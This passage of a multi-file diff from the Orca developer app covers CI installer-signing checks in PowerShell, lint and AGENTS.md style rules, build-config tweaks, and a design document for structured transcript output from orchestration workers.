# bundled 7zip-bin package the old hardcoded path relied on (#6487).
$7zaOutput = node config/scripts/resolve-7za-path.mjs
$7zaExitCode = $LASTEXITCODE
if ($7zaExitCode -ne 0) {
throw "The 7za resolver exited with code $7zaExitCode for the inner-binary evidence gate."
}
$7za = ($7zaOutput | Out-String).Trim()
if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf)) {
throw "The 7za resolver returned an invalid path for the inner-binary evidence gate: $7za"
}
New-Item -ItemType Directory -Path inner-evidence-extract -Force | Out-Null
& $7za x 'dist/orca-windows-setup.exe' '-oinner-evidence-extract' -y | Out-Null
@@ -1432,16 +1741,32 @@ jobs:
if ($failures.Count -gt 0) {
$failures | ForEach-Object { Write-Host "::warning::$_" }
$message = "Windows inner-binary evidence gate found $($failures.Count) problems."
if ($required) { throw $message }
Write-Host "::warning::$message Fail-open until ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED is 'true'."
# Why assigned before any I/O: a write that throws here would reach
# the catch with $policyFailure still null, so a required-mode
# signature failure would be re-reported as ERRORED and the per-file
# report overwritten — the exact masking the hoist exists to prevent.
if ($required) {
$policyFailure = $message
} else {
Write-Host "::warning::$message Fail-open until ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED is 'true'."
}
Add-GateEvidence "VERDICT: FAILED — $message"
Add-GateSummary "FAILED — $message"
} else {
Write-Host "All $($targets.Count) inner binaries in the shipped installer are signed by SignPath Foundation."
$ok = "All $($targets.Count) inner binaries in the shipped installer are signed by SignPath Foundation."
Add-GateEvidence "VERDICT: PASSED — $ok"
Add-GateSummary "PASSED — $ok"
Write-Host $ok
}
} catch {
Write-GateVerdict "ERRORED — $_"
if ($required) { throw }
Write-Host "::warning::Windows inner-binary evidence gate errored: $_ (fail-open, issue #7785)."
}
# Outside the catch so the FAILED evidence report survives intact.
if ($policyFailure) { throw $policyFailure }
- name: Upload Windows inner signing evidence
if: always() && matrix.platform == 'win'
uses: actions/upload-artifact@v7
@@ -27,7 +27,11 @@ on:
- 'config/patches/**'
- 'config/scripts/ensure-native-runtime.mjs'
- 'config/scripts/rebuild-native-deps.mjs'
- 'config/scripts/verify-packaged-plugin-resources.cjs'
- 'native/**'
# Byte-hashed at package time, and CRLF-sensitive on Windows.
- '.gitattributes'
- 'resources/plugins/**'
- 'resources/win32/**'
- 'src/main/daemon/**'
- 'src/main/index.ts'
@@ -271,7 +271,7 @@ jobs:
throw 'Signed Windows installer was not returned by SignPath.'
}
Copy-Item -Path $signedInstaller.FullName -Destination 'dist/orca-windows-setup.exe' -Force
& 'node_modules/app-builder-bin/win/x64/app-builder.exe' blockmap --input 'dist/orca-windows-setup.exe' --output 'dist/orca-windows-setup.exe.blockmap'
node config/scripts/generate-windows-blockmap.mjs 'dist/orca-windows-setup.exe' 'dist/orca-windows-setup.exe.blockmap'
if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
$installer = Get-Item 'dist/orca-windows-setup.exe'
@@ -325,7 +325,16 @@ jobs:
# Extract the signed installer and verify the files a user actually
# gets on disk — including the exact file from issue #7785.
$7za = 'node_modules/7zip-bin/win/x64/7za.exe'
# electron-builder 26.9+ removed the bundled 7zip-bin package (#6487).
$7zaOutput = node config/scripts/resolve-7za-path.mjs
$7zaExitCode = $LASTEXITCODE
if ($7zaExitCode -ne 0) {
throw "The 7za resolver exited with code $7zaExitCode for the signing rehearsal."
}
$7za = ($7zaOutput | Out-String).Trim()
if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf)) {
throw "The 7za resolver returned an invalid path for the signing rehearsal: $7za"
}
New-Item -ItemType Directory -Path extracted-app -Force | Out-Null
& $7za x 'dist/orca-windows-setup.exe' '-oextracted-app' -y | Out-Null
@@ -28,9 +28,13 @@ on:
- 'src/main/ipc/pty*.ts'
- 'src/main/providers/**'
- 'src/main/pty/**'
- 'src/main/pty-descendant-termination.ts'
- 'src/main/windows-process-tree-kill.ts'
- 'src/main/windows-pty-root-identity.ts'
- 'src/preload/**'
- 'src/renderer/src/components/terminal-pane/**'
- 'src/renderer/src/lib/pane-manager/**'
- 'src/shared/process-table-snapshot.ts'
- 'src/shared/pty-session-id-format.ts'
workflow_dispatch:
inputs:
+1
View File
@@ -92,6 +92,7 @@ docs/**
!docs/reference/
!docs/reference/git-compatibility.md
!docs/reference/headless-linux-server.md
!docs/reference/linux-glibc-compatibility.md
# Stably CLI (only docs/ are tracked)
.stably/*
+17
View File
@@ -49,6 +49,23 @@
],
"curly": "error",
"no-unneeded-ternary": "error",
"no-restricted-imports": [
"error",
{
"paths": [
{
"name": "@linear/sdk",
"allowTypeImports": true,
"message": "Value-importing @linear/sdk hoists its ~2.6MB CJS bundle into the eager top-level require block and defeats the lazy loader. Use `import type` plus loadLinearSdk() from src/main/linear/linear-sdk.ts."
},
{
"name": "qrcode",
"allowTypeImports": true,
"message": "qrcode is only reachable from mobile pairing; a static import parses it at launch for everyone. Use `import type` plus `await import('qrcode')` at the call site."
}
]
}
],
"no-useless-return": "error",
"prefer-template": "error",
"unicorn/consistent-empty-array-spread": "error",
+14 -9
View File
@@ -1,21 +1,23 @@
# AGENTS.md
## Design System
# Design System
All UI work — layout, color, typography, spacing, component selection, UX behavior — must follow [`docs/STYLEGUIDE.md`](./docs/STYLEGUIDE.md). Use the tokens defined in `src/renderer/src/assets/main.css` (the canonical source) and the shadcn primitives in `src/renderer/src/components/ui/`. Don't invent new color values, font sizes, or shadow tiers when a documented one already covers the role. When STYLEGUIDE.md is silent, follow the resolution order in its final section.
## Concise/Brief Non-obviosu code comments ONLY
* Only when code is non-obvious, add code comment explaining **why** (not HOW).
* BE CONCISE — ideally 1 line.
# Style
## Concise/Brief Non-obviosu comments ONLY
* DO NOT: be verbose, explain the obvious, walk through the code ("WHY not HOW")
* DO: BE CONCISE. 1 LINE if possible
## Lint Rules: Do Not Disable Max Lines
Never add a `max-lines` disable (`eslint-disable max-lines`, `oxlint-disable max-lines`, or line-specific variants), and never add a per-file `max-lines` bump in `mobile/.oxlintrc.json`.
NEVER add a `max-lines` disable (`eslint-disable max-lines`, `oxlint-disable max-lines`, or line-specific variants), and never add a per-file `max-lines` bump in `mobile/.oxlintrc.json`.
## File and Module Naming
Never use vague names like `helpers`, `utils`, `common`, `misc`, or `shared-stuff` for files, folders, or modules. They carry zero info and tend to become dumping grounds. Name files after what they _actually_ contain — prefer the concrete domain concept (e.g. `tab-group-state.ts`, `terminal-orphan-cleanup.ts`) over the generic role (`tabs-helpers.ts`, `terminal-utils.ts`). If you find yourself reaching for `helpers`, the file probably has more than one responsibility and should be split, or there's a better name hiding in the code that describes what the functions operate on.
## Type Declarations: Prefer `.ts` Over `.d.ts`
# Considerations
## Worktree Safety
Always use the primary working directory (the worktree) for all file reads and edits. Never follow absolute paths from subagent results that point to the main repo.
@@ -27,11 +29,16 @@ Orca targets macOS, Linux, and Windows. Keep all platform-dependent behavior beh
- **Keyboard shortcuts**: Never hardcode `e.metaKey`. Use a platform check (`navigator.userAgent.includes('Mac')`) to pick `metaKey` on Mac and `ctrlKey` on Linux/Windows. Electron menu accelerators should use `CmdOrCtrl`.
- **Shortcut labels in UI**: Display `⌘` / `⇧` on Mac and `Ctrl+` / `Shift+` on other platforms.
- **File paths**: Use `path.join` or Electron/Node path utilities — never assume `/` or `\`.
- **Linux native modules**: keep the glibc floor at Ubuntu 20.04 / glibc 2.31. A module compiled from source on a newer runner can reference symbol versions absent on the floor and crash the app on startup. See [`docs/reference/linux-glibc-compatibility.md`](./docs/reference/linux-glibc-compatibility.md); packaging fails if a bundled native binary needs newer glibc.
## SSH Use Case
All changes must consider the SSH use case. Don't assume local-only execution.
## Folder Workspace Use Case
All changes must consider folder workspaces as well as git worktrees. Don't assume every workspace is a git worktree.
## Git Binary Compatibility
Orca runs the user's Git binary on native, WSL, and SSH hosts, which may all have different versions. Treat Git 2.25 as the core-workflow baseline and follow [`docs/reference/git-compatibility.md`](./docs/reference/git-compatibility.md).
@@ -51,5 +58,3 @@ Source-control and review changes must consider GitLab and other supported git p
## GitHub CLI Usage
Be mindful of the user's `gh` CLI API rate limit — batch requests where possible and avoid unnecessary calls. All code, commands, and scripts must be compatible with macOS, Linux, and Windows.
## Type Declarations: Prefer `.ts` Over `.d.ts`
File diff suppressed because it is too large Load Diff
+604
View File
@@ -0,0 +1,604 @@
# Orchestration Structured Worker Output
Status: implemented; physical local, mixed-version, and Windows-home to Mac-worker validation complete
Scope: orchestration `worker-read` only
Last updated: 2026-07-24
## Summary
`orca orchestration worker-read` currently reads bounded terminal output. That is always available,
but full-screen agent TUIs can make it noisy or incomplete.
Orca already knows more than the terminal logo suggests. Agent hooks associate an exact pane with:
- the agent type, such as Codex or Claude;
- the provider session or conversation ID; and
- when available, the provider-reported transcript path.
The sidebar, session resume, sleeping-agent recovery, and native chat already use this information.
The missing piece is a narrow orchestration path from an exact Dispatch to that exact session on the
server where the worker runs.
The proposed behavior is:
```text
worker-read
exact supported transcript is available -> structured transcript page
otherwise -> bounded terminal page
```
This does not add orchestration strategy, a dashboard, a scheduler, or a universal provider layer.
It makes one existing observation command return the best source Orca can prove.
## User-facing goal
A coordinator should be able to inspect a worker with one predictable command:
```bash
orca orchestration worker-read --dispatch <dispatch-id> --json
```
The coordinator should not need to know:
- which Orca server owns the worker;
- the worker's terminal or pane handle;
- the provider session ID;
- where a transcript lives on disk; or
- whether structured reading is supported by that provider/server version.
The response must always say which source was used. It must never silently read a different agent
session.
## Why the existing sidebar is relevant
The agent logo identifies the detected agent type. By itself, that is not enough to choose a
transcript.
The richer sidebar status also carries pane-scoped provider-session metadata reported by hooks.
That is the useful foundation:
```text
Dispatch
-> exact worker process and terminal
-> exact tab/leaf pane
-> hook-reported provider session
-> provider transcript locator
```
Some live status ownership is currently renderer-centric, while headless and mobile graph paths
also retain compatible status snapshots. Implementation therefore needs one runtime-owned lookup
that exposes the current exact pane association to `worker-read`. This is a small bridge over
existing status data, not a second agent-status system.
## Design principles
### Exactness over convenience
- Never select the "latest session in this directory."
- Never select a transcript from a terminal title or logo alone.
- Never switch sources or sessions in the middle of a cursor chain.
- If Orca cannot prove the association, return a labeled terminal fallback.
### Resource-local reads
The server running the worker resolves and reads its transcript. A Run home on macOS must not try
to interpret a Windows path, and a Windows Run home must not try to interpret a macOS path.
Only bounded output data crosses the federation connection. Transcript paths do not.
### One simple agent command
Agents should not choose provider adapters or supply session metadata. `worker-read` defaults to
automatic source selection. Source selection flags exist for debugging and explicit policy, not
because they are required in the normal loop.
### Narrow provider support
Initial support should cover only providers for which Orca already has:
1. an exact pane-scoped session association; and
2. an existing bounded transcript reader with test coverage.
Codex is the required first provider. Claude may ship in the same change only if it uses the same
proven reader path without adding a second architecture. Other agents receive terminal fallback.
### Honest compatibility
Connected servers can run different Orca versions. A server without structured-read support must
continue to return bounded terminal output rather than failing the whole Run.
## Public command contract
### Request
```bash
orca orchestration worker-read \
--dispatch <dispatch-id> \
[--source auto|transcript|terminal] \
[--cursor <opaque-cursor>] \
[--limit <count>] \
[--json]
```
`--source` behavior:
| Value | Behavior |
| ------------ | -------------------------------------------------------------------------------------- |
| `auto` | Use an exact supported transcript; otherwise use terminal output. This is the default. |
| `transcript` | Require an exact supported transcript. Return a typed error instead of falling back. |
| `terminal` | Use the current bounded terminal reader. |
Existing numeric terminal cursors remain accepted. New responses return an opaque cursor that can
pin either source without exposing provider paths.
### Response
The implemented structured response has this shape:
```json
{
"dispatchId": "dispatch_123",
"source": "transcript",
"sourceIdentity": "opaque-source-fingerprint",
"provider": "codex",
"transcript": {
"messages": [],
"nextCursor": "opaque-next-cursor",
"limited": false,
"returnedMessageCount": 0
},
"cursor": "opaque-next-cursor",
"status": {
"worker": "running",
"terminal": "running"
},
"fallbackReason": null,
"warnings": []
}
```
Terminal fallback uses the same envelope and keeps the existing terminal data:
```json
{
"dispatchId": "dispatch_123",
"source": "terminal",
"sourceIdentity": "opaque-terminal-incarnation",
"terminal": {
"tail": ["..."],
"status": "running",
"nextCursor": "..."
},
"cursor": "opaque-next-cursor",
"fallbackReason": "session_not_reported",
"warnings": []
}
```
For backward compatibility:
- the terminal branch retains the existing `terminal.tail`, `terminal.status`, and
`terminal.nextCursor` fields;
- non-JSON output prints readable transcript entries or terminal lines without requiring an agent
to branch on JSON manually;
- a mixed-version federated read can return the legacy terminal shape, which the Run home wraps as
a labeled terminal response.
### Fallback reasons
Fallback reasons are bounded typed values, not arbitrary policy:
- `provider_unsupported`
- `session_not_reported`
- `transcript_missing`
- `transcript_unreadable`
- `transcript_parse_failed`
- `remote_capability_unavailable`
Warnings may provide safe diagnostic context, but must not contain a remote filesystem path.
### Typed errors
Errors are used when returning any source would be misleading:
- `dispatch_not_found`
- `worker_identity_changed`
- `source_changed`
- `cursor_invalid`
- `cursor_dispatch_mismatch`
- `transcript_required`
- the existing connected-server unavailable/unknown result
`source_changed` means the exact pane is now associated with a different provider session than the
one pinned by the cursor. The caller starts a new read without the old cursor. Orca never silently
jumps to the replacement session.
## Source identity and cursor rules
The cursor is opaque to clients and contains only non-sensitive routing data:
- cursor version;
- Dispatch ID;
- source kind;
- an opaque digest of the exact source identity;
- provider-specific or terminal paging position.
It must not contain a transcript path.
On every continued read, the worker server:
1. revalidates the Dispatch's exact process attachment;
2. resolves the current pane/session association;
3. compares its source digest with the cursor;
4. reads only when they still match; and
5. otherwise returns `source_changed` or `worker_identity_changed`.
The cursor is source-pinned even when the request uses `--source auto`. `auto` chooses only on the
first page.
The implementation uses a versioned stateless token. The token is not an authority credential:
every read revalidates the Dispatch, process, pane, source digest, and provider session before
returning data. This lets paging survive an Orca restart without adding cursor-secret persistence.
## Runtime architecture
### 1. Resolve the Dispatch at its Run home
The Run home remains authoritative for Task and Dispatch state. It looks up the Dispatch and its
pinned worker server exactly as `worker-show` and the current `worker-read` do.
No automatic placement or server selection is added.
Current implementation anchors:
- `src/main/runtime/rpc/methods/orchestration-worker-control.ts` owns local and federated
`worker-read` routing.
- `src/main/runtime/rpc/methods/orchestration-worker-observation.ts` validates the exact attached
worker.
- `src/cli/handlers/orchestration.ts` owns the current CLI request and terminal rendering.
### 2. Route the read to the worker server
For a local worker, the Run home and worker server are the same runtime.
For a federated worker, the Run home calls the existing federation read route on the server pinned
to the Dispatch. The request contains the Dispatch ID, source preference, cursor, and limit—not a
terminal handle, session ID, or transcript path chosen by the coordinator.
### 3. Revalidate the exact worker
The worker server uses the existing Dispatch attachment to verify:
- the exact managed pane;
- the exact terminal/process incarnation; and
- that the Dispatch has not been replaced, stopped, or detached.
This preserves the same no-cross-worker rule already used by worker lifecycle and terminal reads.
### 4. Resolve the pane's provider session
Add one runtime-owned resolver that returns a snapshot similar to:
```ts
type ExactWorkerProviderSession = {
paneKey: string
agent: TuiAgent
providerSession: AgentProviderSessionMetadata
observedAt: number
}
```
The resolver may use the current runtime graph/headless retained status, but it must accept the
Dispatch's exact pane identity as input. It must not search all sessions by working directory or
agent type.
The source association is considered usable only when:
- it belongs to the Dispatch's exact current pane/process;
- the hook metadata is fresh enough to belong to that process incarnation;
- the provider session metadata passes existing normalization/canonicalization; and
- a supported adapter can resolve an exact transcript.
If these checks fail under `auto`, the read falls back to terminal output.
Current session/status anchors:
- `src/shared/agent-session-resume.ts` defines normalized provider-session metadata.
- `src/renderer/src/store/slices/agent-status.ts` maintains pane-scoped live agent status.
- `src/shared/runtime-types.ts` carries compatible agent status in runtime/mobile graph snapshots.
- `src/main/runtime/orca-runtime.ts` preserves provider-session metadata when it publishes those
snapshots.
### 5. Read through a narrow adapter
Reuse the existing bounded native-chat transcript parser rather than adding another parser stack.
Extract or wrap its pure reader behind a small orchestration adapter:
```ts
type WorkerTranscriptReader = {
provider: 'codex' | 'claude' | 'openclaude' | 'grok'
readPage(input: ExactTranscriptRead): Promise<ExactTranscriptPage>
}
```
This is deliberately not a registry for every possible agent capability. Add an adapter only when
an exact locator and a tested reader already exist.
Current reader anchors:
- `src/main/native-chat/transcript-watch.ts` provides bounded transcript reads/subscriptions.
- `src/main/runtime/rpc/methods/native-chat.ts` exposes the existing reader over runtime RPC.
- `src/main/ipc/native-chat.ts` exposes the same reader to the desktop renderer.
The transcript response should preserve the existing structured message/block representation and
the supported fields that the proven reader already understands. Unknown or skipped input should
produce parsing warnings rather than being silently presented as a complete transcript.
### 6. Return bounded data
Every path enforces:
- at most 50 transcript messages per page (40 by default);
- a maximum serialized response size;
- existing clipping/redaction rules for large tool input and output;
- opaque projection of transcript-position fallback IDs and redaction of Dispatch capability tokens;
- deterministic pagination; and
- no transcript path leakage.
Transcript observation is read-only. A failure or unknown network result must never trigger worker
restart, retry, stop, or Task mutation.
## Federation and cross-platform behavior
The core topology is:
```text
Mac Run home
-> authenticated connected-server RPC
-> Windows worker server
-> exact Windows pane/session
-> Windows-local transcript reader
-> bounded structured page back to Mac
```
The reverse direction must work identically.
Platform rules:
- Use Node path operations only on the server that owns the path.
- Do not normalize Windows paths on macOS or macOS/Linux paths on Windows.
- SSH and WSL execution remain behind their owning Orca server.
- If the exact transcript is accessible only on an SSH/WSL execution host, the worker server must
use an existing host-aware read mechanism or fall back to terminal. Do not copy the path to the
Run home.
- Mixed-version capability negotiation applies only at the Orca server protocol boundary.
- A server that does not advertise structured worker read receives the existing terminal-read RPC.
Federation adds one narrow additive RPC, `orchestration.federationReadOutput`. The Run home probes
it by calling it. If the worker server returns `method_not_found`, the Run home calls the existing
`orchestration.federationRead` terminal method and wraps that result as a labeled
`remote_capability_unavailable` fallback. No generalized capability matrix is added.
## Lifecycle behavior
### Provider session appears after worker start
Hooks may report a session after the TUI becomes ready. An initial `auto` read may therefore return
terminal output. A later first-page `auto` read may select transcript output.
Once a cursor is returned, that cursor remains pinned to its selected source.
### Provider session changes
Compaction, resume, or process replacement may produce a new provider session:
- a fresh read without a cursor may select the new exact session;
- a cursor for the old session returns `source_changed`;
- Orca does not merge the old and new transcripts implicitly.
### Orca restart
After restart, the worker server re-establishes the exact pane/process association using the same
runtime graph and retained-hook mechanisms used by sidebar/session recovery.
- If exact identity and session still match, paging continues.
- If process identity is uncertain, return `worker_identity_changed`.
- If only transcript identity is unavailable, `auto` may start a new terminal page but must not
reinterpret an old transcript cursor as a terminal cursor.
### Disconnect
A disconnected federated read is a read-only unknown result. Reissuing the same read is safe.
No mutation request ledger, durable outbox, automatic failover, or worker replacement is needed.
## Implementation plan
### Work package 1 — Correct the contract and types
- Update the orchestration checklist to replace the inaccurate claim that exact pane-to-session
association does not exist.
- Add the source preference, response envelope, fallback enums, and opaque cursor types.
- Keep the existing terminal response fields compatible.
- Add the CLI `--source` option and accept both legacy numeric and new opaque cursors.
Exit gate: contract tests cover legacy terminal JSON and the new labeled envelopes.
### Work package 2 — Runtime exact-session resolver
- Add a runtime method that resolves agent status for an exact Dispatch pane/process.
- Reuse the existing graph/headless retained status and provider-session normalization.
- Reject stale pane or process-incarnation associations.
- Test multiple panes and multiple sessions in the same worktree and directory.
Exit gate: the resolver can never return a sibling pane's session.
### Work package 3 — Codex transcript adapter
- Reuse the current bounded native-chat Codex reader.
- Add deterministic page conversion and parsing warnings.
- Enforce entry and byte limits.
- Produce a path-free source identity digest and cursor.
- Add Claude only if it follows this same path without new infrastructure.
Exit gate: exact Codex transcript pages are stable, bounded, and contain no local path.
### Work package 4 — Local `worker-read`
- Resolve and validate the exact worker.
- Implement `auto`, `transcript`, and `terminal`.
- Pin the source across cursor pages.
- Preserve the existing terminal fallback and non-JSON rendering.
Exit gate: local dogfood proves correct selection with several simultaneous same-directory Codex
sessions.
### Work package 5 — Federated `worker-read`
- Add the narrow connected-server capability.
- Route transcript resolution and reading to the worker server.
- Wrap legacy remote terminal responses as labeled fallbacks.
- Reject mismatched Dispatch/server/session cursors.
- Ensure paths and internal server identity remain out of ordinary output.
Exit gate: physical Mac-to-Windows and Windows-to-Mac reads both pass.
### Work package 6 — Restart, fallback, and documentation
- Cover runtime restart, renderer restart, disconnect, stale status, missing hooks, unreadable
transcript, unsupported providers, and mixed server versions.
- Update CLI help, the orchestration skill, and the implementation checklist.
- Dogfood the common coordinator loop using only the documented commands.
Exit gate: every fallback is truthful and no fallback changes worker lifecycle state.
## Validation plan
### Unit and contract tests
| Area | Required proof |
| --------------------- | ------------------------------------------------------------------------------------ |
| Exact resolution | A Dispatch resolves only its attached pane and process incarnation. |
| No directory guessing | Two Codex sessions in the same worktree cannot cross-read. |
| Source choice | `auto` prefers an exact supported transcript and otherwise labels terminal fallback. |
| Explicit source | `transcript` fails truthfully when unavailable; `terminal` never probes transcript. |
| Cursor pinning | Continued pages stay on the same source and provider session. |
| Session replacement | An old cursor returns `source_changed`. |
| Cursor custody | A cursor for another Dispatch is rejected. |
| Parsing | Malformed/skipped transcript records produce bounded warnings. |
| Limits | Entry count, block size, and total serialized response are bounded. |
| Privacy | Responses and cursors contain no transcript path. |
| Compatibility | Existing terminal fields and numeric cursors continue to work. |
Likely focused test locations:
- provider-session normalization and pane association tests;
- native-chat transcript reader tests;
- orchestration worker-control RPC tests;
- orchestration worker CLI tests; and
- federation protocol and physical harness tests.
### Local integration scenarios
1. Start a Codex worker and confirm the sidebar reports its provider session.
2. Read the Dispatch and verify `source=transcript`.
3. Start two Codex workers in the same worktree.
4. Give them distinct prompts and verify neither read contains the other's content.
5. Page both transcripts and verify stable source identities.
6. replace or resume one session and verify its old cursor returns `source_changed`.
7. Disable hooks and verify a labeled terminal fallback.
8. Remove or make the transcript unreadable and verify a safe fallback or
`transcript_required`, depending on the requested source.
### Physical federation matrix
| Run home | Worker server | Worker location | Required outcome |
| -------- | ------------- | --------------- | --------------------------------------------------------------- |
| macOS | Windows | native Windows | Exact structured page or labeled supported fallback |
| Windows | macOS | native macOS | Exact structured page or labeled supported fallback |
| macOS | macOS/Linux | SSH host | Exact host-aware page or terminal fallback without path leakage |
| Windows | Windows | WSL | Exact host-aware page or terminal fallback without path leakage |
For both Mac/Windows directions:
- run multiple workers at once;
- page beyond the first response;
- restart the Run home;
- restart the worker server;
- disconnect and reconnect the server;
- verify mixed-version fallback with one server lacking the new capability; and
- compare the selected provider session with the sidebar/native-chat session for the same pane.
### Dogfood procedure
The dogfood is successful only if a coordinator can follow this loop without internal IDs:
1. Create/use a Run.
2. Start one local worker and one connected-server worker.
3. Wait for both starts to settle.
4. Call `worker-read --source auto` for each Dispatch.
5. Continue each cursor through at least two pages.
6. Confirm output belongs to the correct prompt and machine.
7. Trigger one fallback case.
8. Complete both workers and confirm reads never altered lifecycle state.
Record:
- command and response;
- chosen source and fallback reason;
- worker server/platform;
- provider and session match;
- cursor behavior;
- path-leak check;
- restart/disconnect outcome; and
- any agent confusion using only CLI help and the orchestration skill.
## Acceptance criteria
Implementation is complete only when:
- `worker-read` selects an exact transcript or returns a clearly labeled terminal fallback.
- No test or dogfood scenario reads a sibling or previous provider session.
- A cursor never switches source or provider session silently.
- Mac-to-Windows and Windows-to-Mac physical reads pass.
- Runtime restart and disconnect behavior are safe and understandable.
- Unsupported agents and mixed versions retain useful terminal output.
- Transcript paths never leave the server that owns them.
- Existing terminal-read clients remain compatible.
- The common agent path remains one command with no server/session/path inputs.
- No UI, scheduling, retry, integration tracking, or generalized provider framework is added.
## Explicit non-goals
- No dashboard or sidebar changes.
- No coordinator chat changes.
- No automatic worker placement, retry, replacement, or recovery.
- No commit, test, branch, merge, or integration tracking.
- No provider-session locking or resume orchestration.
- No live transcript subscription in the orchestration API.
- No universal transcript/event ontology.
- No cross-server filesystem access from the Run home.
- No replicated Run database or automatic Run-home failover.
- No generalized access-control or capability framework.
## Main risks and mitigations
| Risk | Mitigation |
| ---------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| Live session status is stale or renderer-owned | Resolve through a runtime-owned exact-pane snapshot and bind it to process incarnation. |
| Two sessions share a directory | Never use directory/latest-session lookup; require exact pane/session metadata. |
| A session changes between pages | Pin source identity in the cursor and return `source_changed`. |
| Remote path is meaningless or sensitive | Read only on the worker server and never serialize the path. |
| Transcript parser drops data | Preserve supported structured blocks and return parsing warnings. |
| Transcript metadata exposes a path/credential | Make file-position IDs opaque and redact Dispatch capabilities from all structured text/payloads. |
| Mixed server versions | Negotiate one narrow capability and fall back to existing terminal read. |
| Full-screen terminal output remains noisy | Prefer structured output only when exact; retain terminal as the universal safety path. |
| Scope expands into a provider platform | Ship Codex first and require proven exact association plus an existing reader for every addition. |
## Decision
Implement structured worker output as a narrow extension of `worker-read`.
The prerequisite is not a new sidebar or status system: Orca already tracks exact pane-scoped
provider sessions. The work is to make that existing association available to the worker-owning
runtime, read the transcript locally through proven readers, pin pagination to that source, and
federate only the bounded result.
+3 -3
View File
@@ -36,7 +36,7 @@
Monitor and steer your agents from your phone — get notified when an agent finishes and send follow-ups from anywhere.
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [Android APK 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [Android APK 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
</td>
<td width="50%">
@@ -230,7 +230,7 @@ yay -S stably-orca-bin
Pair with your desktop app to monitor and steer your agents from your phone.
- **iOS:** [Download on the App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) or [join TestFlight](https://testflight.apple.com/join/YjeGMQBA)
- **Android:** [Download APK 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
- **Android:** [Download APK 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
---
@@ -238,7 +238,7 @@ Pair with your desktop app to monitor and steer your agents from your phone.
- **Discord:** Join the community on **[Discord](https://discord.gg/fzjDKHxv8Q)**.
- **Twitter / X:** Follow **[@orca_build](https://x.com/orca_build)** for updates and announcements.
- **WeChat:** Groups 1 and 2 are both full — now you can join the third one.
- **WeChat:** All other groups are full, now we're on group 5.
<img src="docs/assets/wechat-qr.jpg" alt="WeChat QR code for the Orca community" width="160" />
+15 -2
View File
@@ -1,6 +1,10 @@
import { spawnSync } from 'node:child_process'
import { join } from 'node:path'
import type { NormalizedOutputOptions, OutputBundle, OutputChunk, Plugin } from 'rollup'
import type { Plugin, Rollup } from 'vite'
type NormalizedOutputOptions = Rollup.NormalizedOutputOptions
type OutputBundle = Rollup.OutputBundle
type OutputChunk = Rollup.OutputChunk
// Why: v1.4.129-rc.1 shipped a dead terminal daemon because a shared main
// chunk gained `require("electron")` (an import edge added in #7642), and the
@@ -97,6 +101,8 @@ function smokeLoadDaemonEntry(outputDir: string): void {
}
export function createPlainNodeEntryGuardPlugin(): Plugin {
let daemonOutputDir: string | undefined
return {
name: 'orca-plain-node-entry-guard',
writeBundle(options: NormalizedOutputOptions, bundle: OutputBundle) {
@@ -124,7 +130,14 @@ export function createPlainNodeEntryGuardPlugin(): Plugin {
}
if (entryByName.has('daemon-entry') && options.dir) {
smokeLoadDaemonEntry(options.dir)
daemonOutputDir = options.dir
}
},
closeBundle() {
if (daemonOutputDir) {
const outputDir = daemonOutputDir
daemonOutputDir = undefined
smokeLoadDaemonEntry(outputDir)
}
}
}
+31 -2
View File
@@ -11,6 +11,8 @@ const {
prunePackagedRuntimeNodeModules,
verifyPackagedMainRuntimeDeps
} = require('./packaged-runtime-node-modules.cjs')
const { verifyLinuxGlibcFloor } = require('./scripts/verify-linux-glibc-floor.cjs')
const { verifyPackagedPluginResources } = require('./scripts/verify-packaged-plugin-resources.cjs')
const isMacRelease = process.env.ORCA_MAC_RELEASE === '1'
const isLinuxArm64Release = process.env.ORCA_LINUX_ARM64_RELEASE === '1'
@@ -31,11 +33,17 @@ const relayExtraResource = {
from: 'out/relay',
to: 'relay'
}
// Why: bundled plugins are immutable install inputs and must remain ordinary
// directories so the startup bootstrap can verify and publish exact bytes.
const bundledPluginResources = {
from: 'resources/plugins/launch',
to: 'plugins/launch'
}
// Why: the main bundle, packaged CLI, SSH paths, and speech worker all execute
// from package directories where pnpm's symlink farm is absent. Copy the exact
// runtime dependency closure to Resources/node_modules so bare require() calls
// do not fall through to a developer checkout's node_modules.
const commonExtraResources = [relayExtraResource, skillFreshnessResources]
const commonExtraResources = [relayExtraResource, bundledPluginResources, skillFreshnessResources]
const macSpeechNativeResource = {
from: 'node_modules/sherpa-onnx-darwin-${arch}',
to: 'node_modules/sherpa-onnx-darwin-${arch}'
@@ -78,6 +86,8 @@ module.exports = {
'!Casks{,/**/*}',
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
'!out/**/*.test.js',
// Why: Vite's manifest is only used to project the paired web client.
'!out/renderer/.vite{,/**/*}',
'!electron.vite.config.{js,ts,mjs,cjs}',
'!{.eslintcache,eslint.config.mjs,.prettierignore,.prettierrc.yaml,CHANGELOG.md,README.md}',
'!{.env,.env.*,.npmrc,pnpm-lock.yaml}',
@@ -85,7 +95,16 @@ module.exports = {
// Why: feature-wall media is copied via extraResources so runtime can read
// it from process.resourcesPath; exclude the source copy from app.asar.
'!resources/onboarding/feature-wall/**',
'!resources/skills/**'
'!resources/skills/**',
// Why: bundled plugins ship via extraResources to resources/plugins/launch;
// packing the source tree into app.asar would duplicate those exact bytes.
'!resources/plugins/launch/**',
// Why: the Windows CLI shim ships via extraResources to resources/bin/orca.cmd
// (beside the native resources/bin/orca.exe). Packing the source tree into
